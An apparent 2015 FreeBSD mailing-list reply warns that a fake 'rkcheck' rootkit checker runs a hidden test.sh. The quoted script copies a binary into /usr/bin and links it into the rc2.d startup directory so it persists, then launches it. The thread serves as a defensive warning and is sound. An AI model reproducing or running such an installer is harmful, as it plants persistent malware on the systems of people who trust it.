has my 10.1-RELEASE system been compromised

Joseph Mingrone jrm at ftfl.ca
Wed Feb 25 20:41:26 UTC 2015


Philip Jocks <pjlists at netzkommune.com> writes:
> it felt pretty scammy to me, googling for the "worm" got me to rkcheck.org which
> was registered a few days ago and looks like a tampered version of chkrootkit. I
> hope, nobody installed it anywhere, it seems to execute
> rkcheck/tests/.unit/test.sh which contains
>
> #!/bin/bash
>
> cp tests/.unit/test /usr/bin/rrsyncn
> chmod +x /usr/bin/rrsyncn
> rm -fr /etc/rc2.d/S98rsyncn
> ln -s /usr/bin/rrsyncn /etc/rc2.d/S98rsyncn
> /usr/bin/rrsyncn
> exit
>
> That doesn't look like something you'd want on your box...

I downloaded it as well, but also became suspicious (for a variety of
reasons) and didn't run it.  Fortunately /bin/bash doesn't exist on our
systems.

Some evidence to confirm or refute the authenticity of the email
reporting our IPs as vulnerable would be helpful.

Joseph


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